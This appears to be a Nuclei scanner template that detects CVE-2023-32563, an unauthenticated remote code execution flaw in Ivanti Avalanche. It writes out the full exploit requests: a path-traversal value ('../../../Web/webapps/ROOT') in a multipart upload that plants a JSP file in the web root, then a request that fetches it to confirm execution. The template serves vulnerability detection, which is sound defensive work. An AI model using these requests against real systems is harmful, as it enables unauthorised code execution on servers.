id: CVE-2023-32563 info: name: Ivanti Avalanche - Remote Code Execution author: princechaddha severity: critical description: An unauthenticated attacker could achieve the code execution through a RemoteControl server. remediation: | Apply the latest security patches or updates provided by Ivanti to mitigate this vulnerability. reference: - https://twitter.com/wvuuuuuuuuuuuuu/status/1694956245742923939 - https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1?language=en_US - https://nvd.nist.gov/vuln/detail/CVE-2023-32563 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-32563 cwe-id: CWE-22 epss-score: 0.27941 epss-percentile: 0.963 cpe: cpe:2.3:a:ivanti:avalanche:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: ivanti product: avalanche tags: cve,cve2023,ivanti,avalanche,rce,oast,unauth,intrusive http: - raw: - | POST /Servlet/Skins HTTP/1.1 Host: {{Hostname}} Content-Length: 333 Content-Type: multipart/form-data; boundary=------------------------eacf31f23ac1829f Connection: close --------------------------eacf31f23ac1829f Content-Disposition: form-data; name="guid" ../../../Web/webapps/ROOT --------------------------eacf31f23ac1829f Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp" <% out.println("CVE-2023-32563"); %> --------------------------eacf31f23ac1829f-- - | GET /{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body_2 words: - "CVE-2023-32563" # digest: 4b0a004830460221009c2ce758cb3498822e09788073506d6fd370ec33cc199346657da50005128e51022100ac28db58fe5e95487a24aa275075d8d8e58c3b7e0190a2d79ced6029b71bca45:922c64590222798bb761d5b6d8e72950